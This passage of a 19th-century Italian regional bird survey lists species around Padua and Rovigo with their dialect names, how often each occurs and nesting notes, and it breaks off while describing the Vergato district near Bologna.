Balúco, Barbagiáni. È comunissimo e sedentario. Syrnium Aluco, Aloco salvádego, A. de palù. È poco frequente. Nyctala Tengmalmi. Accidentale. Athene Noctua, Coeta, Zoeta, Coetón. È comune e sedentaria. Scops Giu, Ciù, Ciù. È comune. Bubo maximus, Giifo majór. Da notizie assunte lo crederei poco frequente al colle in date località, p. e., Colle di Ca-Barbaro in distretto di Monselice, ec. Asio Otus, Alocón, Coetón. È abbastanza frequente. Asio accipitrinus, Alocón, Coetón de vále. È poco frequente nei luoghi paludosi. Circus aeruginosus, Pógia, Pója de vále. È comune e sedentario. Circus cyaneus, Pója bianca, Pója bianca de vále. È poco frequente, ma sedentaria. Circus Swainsoni. Accidentale. Circus cineraceus. Accidentale. Pandion Haliaëtus. Di comparsa irregolare. Haliaëtus Albicilla, Aquiloto, Aquila de mar. È poco frequente nelle valli dell'estuario. Circaëtus gallicus. Accidentale. Aquila Chrysaëtus. Di rara comparsa. Aquila clanga. Accidentale. Archibuteo lagopus. Di comparsa irregolare. Buteo vulgaris, Pója, Pógia, Pójana. È comune e sedentaria. Pernis apivorus. Di casuale comparsa. Milvus ictinus. Accidentale. Milvus migrans. Raro assai, anzi dubbioso. Falco Peregrinus, Falchéto foresto, Falchettón. Poco frequente. Hypotriorchis Subbuteo, Falchéto, Balarin, Storéla. È comune. Æsalon regulus, Falchetín, Falchéto, Storéla. È poco frequente. Cerchneis Tinnunculus, Falchéto, Storéla. È comune e sedentario. Cerchneis Naumanni. Di accidentale comparsa. Cerchneis vespertinus, Falchéto balarín. Poco frequente. Astur palumbarius. Accidentale. Accipiter Nisus, Storéla, Falchéto. È comune e sedentario. Gyps fulvus. Accidentale. Pelecanus Onocrotalus. Di casuale comparsa. Phalacrocorax Carbo, Smágo, Corvo marín. È poco frequente. Ardea cinerea, Airón, Gárzo, Sgárzo, Sgárdo zenerín. È comune nelle paludi e sedentario. Ardea purpurea, Sgárzo, Airón, Sgárdo rosso. Comune. Egretta alba, Sgárdo bianco. Poco frequente (?). È specie molto localizzata. Egretta Garzetta, Sgarzetta o Garzetta bianca. Poco frequente. Ardeola ralloides, Dragón, Sygardéla, Guà dal zúfo. Poco frequente. Ardetta minuta, Trentacóste, Centocóste, Syarzétta. È comune. Botaurus stellaris, Strabúsio, Strabúsine, Tarabúsio, Osálo cavallaro (!). Comune e sedentario. Nycticorax griseus, Guà, Airón foresto. È abbastanza frequente. Ciconia alba. Accidentale. Ciconia nigra. Accidentale. Platalea Leucorodia. Accidentale. Plegadis Falcinellus. Di casuale comparsa. Cygnus Olor. Di rara comparsa. Cygnus musicus, Zigno, Cigno. È poco frequente. Bernicla brenta. Accidentale. Anser cinereus. Oca granda, O. salvádega. È poco frequente. Anser albifrons. Accidentale. Anser segetum, Oca, Oca faraóna, Oca salvádega. È abbastanza frequente. Tadorna cornuta, Chérso. È poco frequente. Anas Boscas, Ànara salvádega, Ànara da zógolo, Ànera, Arena (♀). Mázorín, Mázorro (♂). È comunissimo e sedentario. Chaulelasmus streperus, Tréssio, Pignúlo (♂). Pignúla (♀). È poco frequente. Spatula clypeata, Fáfuno (♂). Fáfana (♀). Fáfanáchio, Palóto. È comune. Dafila acuta, Colánzo, Asiáo, Asiá (♂). Asiáda (♀). È comune. Mareca Penelope, Ciòsso (♂). Ciosséta (♀). È comunissimo, e anche sedentario. Nettion Crecca, Sarsegnúla, Sarségna. È comunissima e sedentaria. Querquedula Circia, Rochéto, Sarségna, Crécola. È comunissima. Fuligula rufina. Assai raro. Fulix ferina, Mayássu, Magassón monáro (♂). Mayassóna (♀). È comunissimo. Fulix Fuligula, Fenacín, Spernacín, Mayasséto, Moretón, Magásso moro. È comune. Fulix Marila, Campanatón, Moretón. È quasi rara. Ne tengo due esemplari, il ♂ da valle Morosina, febbraio 1881; la ♀ da Piove di Sacco, 12 gennaio 1887. Fulix Nyroca, Anara bastarda, Magasséto rosso. È abbastanza frequente. Bucephala Clangula, Campanáto, Quatroci (♂). Campanéle (♀). È abbastanza frequente, più gli individui giovani (Campanéle) che gli adulti. Harelda glacialis. Di comparsa irregolare. Edemia fusca, Orco marin, Chérso foresto. È poco frequente, specialmente gli adulti. Erismatura leucocephala. Accidentale. Mergus Merganser, Serolón, Serolón de Pó. È quasi raro. Mergus Serrator, Sérola, Spérga. È frequente, meno lo sono gli adulti. Mergellus Albellus, Seroléta, Pisagò, Pisegrù, Anzoleto. È frequente, meno lo sono gli adulti. Columba Palumbus, Colombásso, Colombo salsáro, Favarásso. È frequente. Columba Oenas, Colombo salsáro, Colombo salvádego. Lo crederei frequente. Columba livia. Non comune. Turtur tenera, Tórtora, T. salvádega. È comune. Syrrháptes paradoxus. Accidentale. Perdix rufa. Di casuale comparsa. Perdix saxatilis. Di casuale comparsa. Starna Perdix, Pernise, Pernisa, Spernisa. Una volta era comune in provincia, ora se ne trovano poche in certe località dei colli Euganei (colle di Arquà Petrarea, del Catajo ec.); vi è sedentaria. Coturnix communis, Quaja, Quagia (♀), Quajo, Quagio (♂), Quajastróni (juv). È comunissima e qualcuna sverna in provincia. Rallus aquaticus, Sforzána, Viatára. È comune e sedentaria. Ortygometra Porzana, Quagína, Quájna, Gerardélo, Realzito. È comune. Ortygometra Bailloni, Realéto, Fiorin, Cavalarin, Gerardélo. È frequente. Ortygometra parva, Gerardélo, Fiorin ecc. È comune. Crex pratensis, Requagio, Requajo, R. rosso. È comune. Gallinula chloropus, Viatára, Sforzána, Sfógio. È comune e sedentaria. Fulica atra, Foléga. È comunissima e sedentaria. Grus communis. Di comparsa accidentale. Anthropoides virgo. Di dubbiosa comparsa accidentale. Otis Tarda. Accidentale. Otis Tetrax. Di comparsa irregolare. Cedicenmus scolopax, Pivarón, Ciurlicón. È abbastanza frequente e sedentario. Cursorius gallicus. Accidentale. Charadrius Pluvialis, Pívaro, Corídor. È secondo le annate più o meno comune. Squatarola helvetica, Barusóla. È frequente. Eudromias Morinellus, Pivaréto, Coridór. È poco frequente. Ægialitis cantiana, Muneghéta, Coridoréto, Zurlichéto. È comune. Ægialitis curonica. Comune. Ægialitis Hiaticula, Pivaréto, Muneghéta da la colána, Ocio d'oro. È comune. Vanelius Capella, Paonsína, Felizéta. È comune, dubbiosamente sedentaria. Strepsilas Interpres. Accidentale. Himantopus Ostralegus, Caénáno, Caenásso, Galinássa de már. È poco frequente. Himantopus candidus, Sgambérlo, Sgambúrlo. È poco frequente. Recurvirostra Avocetta. Accidentale. Limicola platyrhyncha, Biseghin rigá. È piuttosto frequente. Pelidna subarquata, Biseghin rosso, B. d'istá. È comune. Pelidna alpina, Biseghin, Lodoléta marina. È comune. Actodromas minuta, Biseghin, B. novélo. È comune. Actodromas Temmincki, Biseghin novélo. È poco frequente, forse perchè confuso colla precedente. Calidris Arenaria, Biseghin del sabión bianco. È piuttosto frequente; vari esemplari sono nella mia collezione. Machetes Pugnax, Gambetón, Tótano muto. È comune. Un individuo ♂ ad. nel caratteristico abito nuziale è nella mia collezione, fu ucciso nell’estuario veneto ai 15 maggio del 1883. Tringoides Hypoleucus, Tramontanéla, Cialdin. È comune. Totanus Ochropus, Culbianco. È comune. Totanus Glareola, Totanélo, Culbianco. È piuttosto comune. Mi mancano i dati positivi. Totanus Calidris, Totáno, Totánon. È comune e sedentaria. Totanus stagnatilis. Dubbiosoamente accidentale. Totanus fuscus, Tótano bastardo, Tótano negro, T. moro. È com. Totanus nebularius, Totanón, Gambetón. È piuttosto frequente. Limosa melanura, Vétola, Gambéton rosso. È frequente. Limosa rufa. Accidentale. Scolopax Rusticula, Galinússa, Becássa. È comune. Gallinago major, Ciochéta, Becanóto. È abbastanza frequente. Gallinago caelestis, Becanóto, Becanóto muto. È comune, pare sedentaria. Gallinago Gallinula. Becanéla. È comune. Numenius Arquata, Arcája, Arcáza. È comune. Numenius tenuirostris. Accidentale. Numenius Phæopus, Taragnóla, Arcáza. È comune. Glareola Pratincola. Accidentale. Sylochelidon caspia. Accidentale. Thalasseus cantiacus. Accidentale. Gelochelidon anglica. Accidentale. Sterna fluviatilis, Giagà, Crocalína, Scagózza. È comune. Sternula minuta, Giagà picola, Crocalína, Cocaléta. È comune. Hydrochelidon hybrida. Accidentale. Hydrochelidon leucoptera, Crocalína, Crocalína nera. Poco frequente. Hydrochelidon nigra, Crocaléta negra, Crocalína nera, C. negra. È comune. Chroocephalus minutus. Accidentale. Chroocephalus ridibundus, Cocál, Crocál. È comune. Chroocephalus melanocephalus, Crocál, Cocál, Crocál a testa nera. È frequente. Larus canus, Mayoghéta, Crocil. È piuttosto frequente. Larus cachinnans, Mugáya, Bío, Crocalón, Cocále (ad.), Martin (juv.). Comune e sedentario. Stercorarius pomatorhinus. Accidentale. Fratercula arctica. Accidentale. Colymbus glacialis, Bagiánte, Smergón, Smagón. È poco frequente (?). Colymbus septentrionalis, Bagiánte macià, Smergón macià. È piuttosto frequente. Colymbus arcticus, Bagiánte, Smérgo, Smergón. È frequente. Podiceps cristatus, Carriòl, Cavriòla, Fisolon de mar. Comune. Podiceps griseigena, Smeryghéta, Smergo. È piuttosto frequente. Podiceps nigricollis, Cavriòla, Fisola de mar. È comune. Podiceps fluvialitis, Fisolo, F. canariòl, Fisoleto, Strapozéto, Sotaról.¹ È comune e sedentario. Rovigo, distretto di Badia Polesine (Dal Fiume Camillo): La zona delle mie osservazioni comprende il distretto di Badia Polesine nella provincia di Rovigo e il vicino comune di Castagnaro in quella di Verona; più, parte del fiume Adige. I suoi confini adunque sarebbero i seguenti: 1° La riva sinistra del fiume Adige; 2° Il comune di Villa Bartolomea nella provincia di Verona; 3° La riva sinistra del fiume Po; 4° Il distretto di Lendinara nella provincia di Rovigo. Tutto questo territorio è piano: oltre ai fiumi Po ed Adige comprende i minori Adigetto e Tartaro ed altri importanti canali specialmente la fossa Maestra che scola le acque delle valli Veronesi. Tutto il territorio è coltivato coi diversi sistemi moderni di agricoltura. Nel di- ¹ Devo avvertire che i nomi volgari sono attinti a fonti sicure dai più provetti cacciatori delle varie località della provincia. Per gli Svassi, le Strolaghe, le Anitre ed i Smerghi il più o meno frequente quasi sempre si riferisce ai giovani, giacché si sa quanto siano più rari gli adulti. (Arrigoni). stretto di Badia Polesine e specialmente nel comune di Bagnolo di Po vi sono le così dette valli di Runci; queste alcuni anni di pioggia sono allagate e allora abbondano gli uccelli acquatici nidificandovi i seguenti: *Fulica atra*, *Rallus aquaticus*, *Gallinula chloropus*, *Hydrochelidon nigra*, *Podiceps fluviatilis* e altre specie ancora; invece negli anni asciutti l’acqua è scarsa e gli uccelli mancano. Il comune di Castagnaro comprende parte delle valli Veronesi, queste una volta erano paludi ora sono in asciugamento tanto che nell’estate sentono bisogno d’acqua. Alcuni inverni però come quest’anno (1887), sono in parte allagate, allora compariscono gli uccelli di ripa e quelli acquatici. In generale il distretto è povero di uccelli, poiché l’agricoltura stessa impedisce la propagazione di questi. Quanti nidi di Quaglia vengono distrutti dai falciatori e dai mieititori! I vecchi alberi vengono tagliati e le nuove piantagioni offrono poca sicurezza pegli uccelli nel tempo della nidificazione. I cacciatori ed i mezzi di distruzione sono aumentati, le sole Passere per quanto se ne distrugga, sono in notevole aumento. --- **Elenco generale delle specie di uccelli osservate nella provincia di Rovigo, distretto di Badia Polesine, coi nomi volgari locali e notizie sulla frequenza, ec.** *Corvus Corone*, Corvo, Grola, Cornacia. Scarsa. *Corvus Cornix*, Corvo, Grola, Cornacia munara, Cornacia senarina. Scarsa, sedentaria. *Corvus frugilegus*, Corvo, Grola, Cornacia. Abbondante. *Lycos Monedula*, Cornacia de tore. Ve ne sono due colonie numerose nelle vicine città di Rovigo e Lendinara; qui scarsa. *Pica rustica*, Gaza mora, Gaza da la coa longa. Comune, sedentaria. Garrulus glandarius, Gaze rossa, Gaze magiona. Comune, sedentaria. Sturnus vulgaris, Stórlo. Molto abbondante e sedentario. Pastor roseus, Stórlo color de rosa. Rarissimo, comparve solo in maggio. Fringilla cœlebs, Finco. Comune e sedentario. Fringilla Montifringilla, Finco montan. Rara. Passer montanus, Passara megiarola, Sélega megiarola. Comune e sedentaria. Passer Italiæ, Passara, Sélega. Sedentaria e comune. Coccothraustes vulgaris, Becogrosso. Sedentario e comune. Ligurinus Chloris, Garziero, Scerante. Sedentario e comune. Chrysomitrís Spinus, Lugarin. Poco comune. Carduelis elegans, Gardelin. Comune e sedentario. Serinus hortulanus, Sfrisarin. Raro. Cannabina Linota, Faganelo. Comune. Pyrrhula europæa, Subioto. Rarissimo. Loxia Curvirostra, Beco in crose. Rarissimo. Miliaria Projer, Petonzo. Scarso. Emberiza Citrinella, Squajardola. Comune. Emberiza Hortulana, Ortolano. Poco comune. Emberiza Schœniclus, Pionza. Comune. Emberiza pyrrhuloides, Pionza. Scarsa, ma sedentaria. Melanocorypha Calandra, Calandra. Rara. Calandrella brachydactyla, Lodolin. Rarissimo. Ne uccisi uno il 18 ottobre 1875 nelle valli Veronesi. Alauda arborea, Barluato. Scarsa. Alauda arvensis, Lodola. Abbondante e sedentaria. Galerita cristata, Capélugu. Comune e sedentaria. Anthus pratensis, Fista. Comune. Anthus trivialis, Tordina. Comune. Anthus Spipoletta, Fiston. Scarsa. Budytes flavus, Boarina. Comune. Budytes cinereocapillus, Boarina. Comune. Motacilla alba, Boarina. Abbondante e sedentaria. Calobates melanope, Boarina. Comune e sedentaria. Saxicola Oenanthe, Cul bianco. Scarso. Monticola saxatilis, Coa rossa de monte. Rarissimo. Monticola Cyanus, Passara solitaria. Rarissima. Merula nigra, Merlo. Abbondante e sedentario. Merula torquata, Merlo dal petto bianco. Rarissimo. Turdus pilaris, Tordo. Comune. Turdus iliacus, Tordo. Scarso. Turdus musicus, Tordo da ua. Comune. Turdus viscivorus, Tordo gazaro. Comune e sedentaria. Aëdon Luscinia, Rossignolo. Comune, nidificante. Erithacus Rubecula, Petorosso. Comune. Cyanecula Wolfi, Coarosso foresto. Rarissimo. Ruticilla Phœnicurus, Coarossa. Scarso. Ruticilla titys, Coarossa. Scarso. Pratincola Rubicola, Batiale. Comune, nidifica. Pratincola Rubetra, Batiale. Scarso. Sylvia nisoria, Rossignolo bastardo. Comune, nidifica. Sylvia cinerea, Biancheto. Scarsa, nidificante. Sylvia Curruca, Canevarola. Comune, nidifica. Monachus Atricapillus, Caonero. Comune, nidifica. Monachus hortensis, Becafico. Scarso. Phylloscopus sibilator, Luì, Caneto. Comune. Phylloscopus Trochilus, Luì, Caneto. Comune. Phylloscopus rufus, Luì, Caneto. Scarso. Hypolais icterina, Canevarola. Scarso. Hypolais polyglotta, Canevarola. Nidificante, ma scarso. Acrocephalus streperus, Canevarola. Nidificante e comune. Acrocephalus arundinaceus, Passara palugana. Com. e nidif. Calamodus aquaticus, Caneto. Nidificante e comune. Cisticola cursitans, Caneto. Scarso, ne ebbi uno l’agosto di quest’anno. Troglodytes parvulus, Rusetto. Comune. Accentor modularis, Moretta. Comune. Regulus cristatus, Stellin. Comune. Regulus ignicapillus, Stellin. Scarso. Ægithalus pendulinus, Pendolin. Nidificante e raro. Acredula caudata, Ocio de bo. Rarissima, ne uccisi una nell’inverno dell’anno 1874. Acredula rosea, Ocio de bo. Abbondante sedentaria. Panurus biarmicus, Mustacin, Organeto de la China. Rarissimo. Parus major, Sparussola, Cinciribin. Comunissima e sedentaria. Parus ater, Cinciribin, Sparussolin. Scarsa di passaggio in autunno. Cyanistes caeruleus, Fratin, Cinciribin, Celestin. Comune e sedentaria. Poecile palustris, Cinciribin sénarin. Comune e sedentaria. Sitta cæsia, Ciò-ciò, Rampeghin. Comune e sedentario. Certhia brachydactyla, Rampeghin. Scarso. Io ne ebbi pochi individui. Tichodroma muraria, Rampeghin de monte. Rarissimo; ne uccisi uno il 22 ottobre 1877, altri due furono presi nel settembre 1885. Oriolus Galbula, Melesia. Nidificante e comune. Lanius Excubitor, Resestola falconiera. Scarsa. Lanius minor, Resestola falconiera. Nidificante, ma scarsa. Lanius Collurio, Resestola. Nidificante ed abbondante. Lanius auriculatus, Resestola da la testa rossa. Rara, ma nidificante. Butalis Grisola, Batiale. Scarso. Hirundo rustica, Rondonina, Sisila, Rondinela. Comune ed estiva. Chelidon urbica, Tartagin. Estivo e comune. Clivicola riparia, Tartagin. Comune. Cypselus Apus, Rondon. Comune, estivo. Cypselus Melba, Rondon bianco, Rondon marin. Rarissimo. Caprimulgus europæus, Bocassa. Estivo e comune. Picus major, Pigosso. Comune e sedentario. Picus medius, Pigossetto. Rarissimo, ma sedentario. Picus minor, Pigossetto. Scarso e sedentario. Gecinus viridis, Pigosso verde. Comune, sedentario. Ilynx Torquilla, Storzicolo. Abbastanza comune e nidificante. Cuculus canorus, Cucco. Estivo ed abbondante. Alcedo Ispida, Piombin. Comune e sedentario. Coracias Garrula, Gaza marina. Rarissima. Merops Apiaster, Vespavolo. Rarissimo. Upupa Epops, Galeto de monte. Nidificante, ma scarsa. Strix Flammea, Aloco, Barbagian. Comune e sedentario. Syrnium Aluco, L'Osel cavalaro, Soeton, Aloco. Comune e sedentario. Asio Otus, Aloco. Comune, sedentario. Asio accipitrinus, Aloco de vale. Comune e sedentario. Alcuni autunni abbondante. Athene Noctua, Soeta. Comune e sedentario. Scops Giu, Ciù. Scarso; estivo. Bubo maximus, Gran duca. Rarissimo Circus aeruginosus, Poja, Pojana. Comune. Circaëtus Gallicus, Aquiloto. Rarissimo. Aquila Chrysaëtus, Aquila reale. Rarissima. So di una sola cattura. Buteo vulgaris, Poja. Comunissima e sedentaria. Milvus Ictinus, Forfeson. Rarissimo. Falco Peregrinus, Falchetton. Rarissimo. Hypotriorchis Subbuteo, Falchetto. Scarso. Æsalon regulus, Falchetto. Scarso. Cerchneis Tinnunculus, Storela, Falchetto. Comunissimo e sedentario. Cerchneis Naumanni, Falchettin. Rarissimo. Cerchneis vespertinus, Fa'chetto. Rarissimo. Astur palumbarius, Falco palombaro. Rarissimo. Accipiter Nisus, Pogianelo, Falchettin. Comune. Phalacrocorax Carbo. Rarissimo, ne ebbi uno ucciso lungo l'Adige vicino a Badia Polesine nel dicembre 1878. Ardea cinerea, Sgarzo. Scarso. Ardea purpurea, Sgarzo. Scarso. Egretta alba, Airon. Scarsa. Egretta Garzetta, Sgarzetta. Scarsa. Ardeola ralloïdes, Sgarzetta. Scarsa. Ardetta minuta, Trenta coste. Estivo e comune. Botaurus stellaris, Turabuso. Sedentario, ma scarso. Nycticorax griseus, Sguà. Scarso. Ciconia alba, Sigogna. Rarissima. Plegadis Falcinellus. Rarissimo, fu preso una sol volta. Cygnus musicus, Signo. Rarissimo. Anser cinereus, Oca salvadega. Rara. Anser segetum, Oca salvadega. Scarsa. Anas Boscas, Mazoro il maschio, Anara la femmina. Comune assai e sedentario. Chauleasmus streperus, Albaro. Scarsa. Spatula clypeata, Paloto. Comune. Dafila acuta, Colanzo. Molto comune. Mareca Penelope, Fio. Molto comune. Nettion Crecca, Sarségna. Sedentaria e molto comune. Querquedula Circia, Rochéto. Comune. Fulix ferina, Munarasso, Moretton. Comune. Fulix Fuligula, Moretta. Scarsa. Fulix Nyroca, Moretta. Comune, anche sedentaria. Bucephala Clangula, Quattroci. Raro. Mergus Merganser, Imperga. Rarissimo; ne vidi due uccisi nell’inverno del 1883. Mergus Serrator, Imperga. Raro. Mergellus Albellus, Imperga. Scarsa. Columba Palumbus, Colombo salvadego, Favazo. Comune. Columba Oenas. Colombo salvadego. Scarsa. Columba livia, Colombo torresàn. Scarso. Turtur tenera, Tortora. Comune ed estiva. Starna Perdix, Pernise. Rara, ma sedentaria. Coturnix communis, Quagio. Comune, abbondante, qualcuna rimane l’inverno. Lagopus mutus. Nell’inverno dell’anno 1875 nelle valli Veronesi e precisamente nella località chiamata La Torretta vennero uccisi due individui; io ne vidi uno a Legnago in carne. Rallus aquaticus, Sforzana, Beccarossa. Comune e sedentaria. Ortygometra Porzana, Girardina. Comune. Ortygometra Bailloni, Cavalarin. Comune. Ortygometra parva, Cavalarin. Comune. Crex pratensis, Re de quagie. Scarso. Gallinula chloropus, Viatara. Sedentaria, ma scarsa. Fulica atra, *Folega*. Comune e sedentaria. *Grus communis*, *Gru*. Di passaggio accidentale; rara. *Edicnemus scolopax*. Rarissimo. *Charadrius Pluvialis*, *Piviere*. Scarso. *Aegialitis curonica*, *Piviere*. Comune. *Vanellus Capella*, *Paonzina*, *Ciniga*. Com. abbond. alcuni anni. *Himantopus candidus*, *Gambetton*. Rarissimo. *Pelidna subarquata*, *Totanin*, *Biseghin*. Scarso. *Actodromas minuta*, *Biseghin*. Comune. *Machetes Pugnax*, *Gambetton*. Comune. *Tringoïdes Hypoleucus*, *Cul bianco*. Comune. *Totanus Ochropus*, *Cul bianco*. Scarso. *Totanus Glareola*, *Cul bianco*, *Totano*. Comune. *Totanus Calidris*, *Totano*. Comune. *Totanus fuscus*, *Totano*. Comune. *Terekia cinerea*. Nell’ottobre dell’anno 1876 andando a caccia di Lodole nelle valli Veronesi in compagnia di mio fratello, questi uccise un piccolo trampoliere che non potei allora determinare; alcuni giorni dopo acquistai l’Ornitologia del Savi e dai caratteri tanto evidenti conobbi essere stata una *Terekia cinerea*; allora io non raccoglievo uccelli, e disgraziatamente non venne imbalsamata. *Limosa melanura*, *Gambetton*. Scarsa. *Scolopax Rusticula*, *Galinazza*. Scarsa; fu abbondante solo l’autunno dell’anno 1873. *Gallinago major*, *Ciochèta*. Scarso. *Gallinago caelestis*, *Becanoto*. Comune, alcuni anni abbondante, l’estate del 1873 specialmente. *Gallinago Gallinula*, *Becanela*. Scarso. *Numenius Arquata*, *Arcaza*. Raro. *Sterna fluviatilis*, *Crocalina*. Comune. *Sternula minuta*, *Crocalina*. Scarso. *Hydrochelidon hybrida*, *Crocalina*. Rarissimo. *Hydrochelidon nigra*, *Crocalina*. Estiva e comune. *Chroocephalus minutus*, *Crocalina*, Rarissimo, ne uccisi un solo individuo nell’ottobre 1882 nelle valli Veronesi. Chroocephalus ridibundus, Crociale. Comune. Larus canus, Gatto de mare, Crocalo. Scarsa. Larus cachinnans. Rarissimo, ne vidi uno lungo l’Adige. Megalestris Catarrhactes. Rarissimo, all’eccezione dell’individuo che mandai al R. Museo Zoologico di Firenze, non conosco altre catture. Colymbus glacialis. Nel dicembre 1878 ne fu ucciso una lungo l’Adige, non conosco altre catture; rarissima. Podiceps cristatus, Fisolo. Raro. Podiceps nigricollis, Fisolo. Raro. Podiceps fluviatilis, Strapozzeto. Comune e sedentario. Elenco delle specie di uccelli le quali nidificano nella provincia di Rovigo, distretto di Badia Polesine, colle notizie più importanti in proposito. Corvus Cornix. L’unico nido di questa specie lo trovai il 26 giugno 1878, con 5 uova. Pica rustica. Nidifica nei mesi d’aprile e maggio; le uova sono da 4 a 7; la durata dell’incubazione di giorni 21 circa. Garrulus glandarius. Nidifica in aprile, uova da 4 a 7; cova 16 o 17 giorni. Sturnus vulgaris. Due covate all’anno; però osservai che non tutti, ma ben pochi, rimangono per la seconda covata; questa osservazione la faccio da molti anni avendo in vicinanza un’alta fabbrica dove ogni anno nidificano gli Storni. Cova solo la femmina 6 a 7 uova in aprile e giugno. Fringilla coelebs. Cova anche il maschio, fa due covate in maggio e giugno di 5 a 6 uova. Passer montanus. Due ed anche tre covate di 4 o 5 uova in maggio e luglio; cova anche il maschio. Passer Italiae. Due ed anche tre covate come la precedente. Coccothraustes vulgaris. Due covate di 4 a 5 uova in maggio e luglio; cova anche il maschio. Ligurinus Chloris. Due covate di 4 a 5 uova, da aprile a luglio; il maschio non cova, dura l’incubazione 15 giorni. Carduelis elegans. Una sola covata in giugno e luglio, che dura 15 giorni; il maschio non cova. Emberiza pyrrhuloides. Da 4 a 5 uova. Alauda arvensis. Nidifica dai primi giorni di marzo a luglio, fa due a tre covate di 5 a 6 uova; il maschio cova. Galerita cristata. Due covate di 4 a 6 uova; il maschio pure cova, l’incubazione dura 14 giorni circa. Motacilla alba. Il maschio non cova; fa due covate di 5 a 8 uova da aprile a giugno. Calobates melanope. La femmina sola cova 5 a 6 uova; fa due covate da aprile a giugno. Merula nigra. Due ed anche tre covate da marzo ad agosto di 5 a 6 uova; il maschio cova. Turdus viscivorus. Due covate, il resto come sopra. Aëdon Luscinia. Una sola covata in maggio di 5 a 6 uova; cova pure il maschio. Pratincola Rubicola. Due covate di 5 a 6 uova da aprile a luglio; il maschio non cova. Sylvia nisoria. Una sola covata di 4 a 6 uova in maggio e giugno; il maschio non cova. Sylvia cinerea. Due covate, aprile e luglio di 4 a 5 uova. Sylvia Curruca. 4 a 6 uova, cova anche il maschio. Monachus Atricapillus. Due covate da aprile a luglio di 4 a 6 uova; vi prende parte anche il maschio. Hypolais polyglotta. In giugno mi fu recato un nido con 5 pulcini. Acrocephalus streperus. Sono certo che nidifica, però non trovai mai il nido. Acrocephalus arundinaceus. Una covata di 5 uova in maggio; cova anche il maschio; la durata dell’incubazione è di 15 giorni. Calamodus aquaticus. Nidifica; però io non ebbi mai il nido. Ægithalus pendulinus. Una volta il nido, tanto bello, si trovava abbondante nelle valli Veronesi, io però in questi anni di osservazione non ne vidi che uno solo, che conteneva 5 uova. Acredula rosea. Una sola covata con fino 18 uova, nell’aprile; la durata dell’incubazione sarebbe di 15 giorni. Parus major. La prima covata di 8 a 12 uova, cova pure il maschio; la seconda covata di 4 a 6 uova. Cyanistes caeruleus. Come sopra. Pœcile palustris. Come sopra. Sitta cæsia. Da aprile a maggio 5 ad 8 uova; la durata dell’incubazione sarebbe di 15 giorni. Lanius minor. Fa una sola covata di 5 a 6 uova; cova anche il maschio. Lanius Collurio. In giugno una sola covata di 5 a 6 uova. Lanius auriculatus. Nidificò quest’anno da noi. Hirundo rustica. Fa due covate in mag. e lug. di 5 a 6 uova. Chelidon urbica. Fa due covate in maggio e luglio, la femmina sola cova per 13 a 14 giorni. Cypselus Apus. Una sola covata in mag.-giug. di 4 a 5 uova. Caprimulgus europæus. Una o due uova deposte nel mese di luglio. Oriolus Galbula. Una sola covata in giug., le uova sono 5 o 6. Picus major. Depone 4 a 6 uova da aprile a giugno; il maschio pure cova. Picus medius. Ebbi i nidiaeci. Picus minor. Nidifica, ma non ebbi il nido. Gecinus viridis. Depone da 6 ad 8 uova in aprile e giugno; cova pure il maschio; l’incubazione dura 17 giorni. Iynx Torquilla. In maggio e giugno depone 6 ad 8 uova, trovai a covare anche il maschio. Cuculus canorus. Depone nei nidi degli altri uccelli le proprie uova; ne trovai nel nido del Monachus Atricapillus e dell’Acrocephalus arundinaceus. Alcedo Ispida. Da aprile a giugno depone 6 a 7 uova. Upupa Eops. Trovai a covare la sola femmina in un nido con 7 uova nel mese di giugno. Strix flammea. Depone da 4 a 6 uova in maggio e giugno. Syrnium Aluco. La femmina sola cova 5 o 6 uova. Asio Otus. La femmina sola cova da 4 a 5 uova in marzo ed aprile. Asio accipitrinus. In maggio depone 4 o 5 uova. Athene Noctua. Depone da 4 a 6 uova nei mesi di aprile e maggio; durata dell’incubazione 15 giorni. Buteo vulgaris. Depone da 4 a 5 uova in maggio e giugno. Scops Giu. Depone 5 uova in maggio e giugno. Cerchneis Tinnunculus. Depone da 5 a 6 uova in maggio e giugno; fa una sola covata ed il maschio non cova. Ardetta minuta. Trovai molti nidi con i pulcini appena nati negli ultimi giorni d’agosto dell’anno 1879 nelle valli di Runci presso Rovigo, depone da 5 a 6 uova. Botaurus stellaris. Sono certo che nidifica da noi, però non ebbi mai il nido. Anas Boscas. Nidifica positivamente da noi. Nettion Crecca. Ebbi le uova in maggio. Fulix Nyroca. Nei primi giorni d’agosto del 1879 nelle valli di Runci, vidi i giovani che ancora non volavano, venne uccisa la madre. Turtur tenera. Fa una sola covata di 2 uova nei mesi di maggio e giugno; cova anche il maschio. Starna Perdix. Fa una sola covata ai primi di maggio di 10 a 11 uova; cova la sola femmina per 21 giorni. Coturnix communis. Fa due covate di 10 a 17 uova; cova solo la femmina per 21 giorni. Rallus aquaticus. Depone da 6 ad 8 uova; nidifica in maggio. Gallinula chloropus. Trovai un nido con 10 uova: fa due covate da maggio a luglio. Fulica atra. Depone in maggio 10 a 12 uova; dura l’incubazione giorni 21. Hydrochelidon nigra. In giugno trovai diversi nidi con 3 a 4 uova. Podiceps fluviatilis. Cova da maggio a giugno, fa due covate di 4 a 5 uova. EMILIA. Bologna, distretto di Vergato (Lorenzini Demetrio¹): Questo distretto di osservazione comprende tutto il circondario di Vergato e confina: a NE. con quello di Bologna, a NO. colla provincia di Modena e a SO. con quella di Firenze. Le vallate principali di questa regione appenninica, assai montuosa, sono quelle del Reno, della Limentra, del Sette, del Dardagna, del Sela o Sila, del Vergatello e di tutti i loro rispettivi confluenti. Le sue quote altimetriche sul livello del mare oscillano da un minimo di m. 250 a Marzabotto e un massimo di m. 1939.19 sul Corno delle Scale. La vegetazione arborea che ne riveste i monti può distinguersi dall’alto in basso in tre zone o regioni: la zona del Faggio, quella del Castagno e quella della Quercia, limitate da linee quando più quando meno flessuose. La vegetazione erbacea poi ricopre al di sopra della zona del Faggio la sommità del crinale appenninico di un bel tappeto scivolante verde grigiastro dovuto al Narlus stricta. e fra i vani di questa gregaria graminacea crescono mirabilmente molte belle specie che caratterizzano la flora alpina e rendono variopinto questo tappeto nella breve calda stagione. Estesi talora e lussureggianti sono i pascoli presso la sommità della cresta appenninica. Alla suddetta vegetazione erbacea si mescola poi più in basso della cresta quella di piccoli arbusti tra i quali sono notevoli il Juniperus nana, il Rhamnus alpinus, i baggioli ec., ec. che danno buon pascolo coi loro frutti agli uccelli. Al limite inferiore della regione del Faggio comincia quella del Castagno, la quale si svolge per la mag- ¹ Il signor D. Lorenzini ha dato alcuni cenni generali interessanti riguardanti l’Avifauna del distretto di Vergato nella sua opera: Guida dei Bagni della Porretta, Porretta, 1886. giore estensione dell’Appennino bolognese. In questa zona si 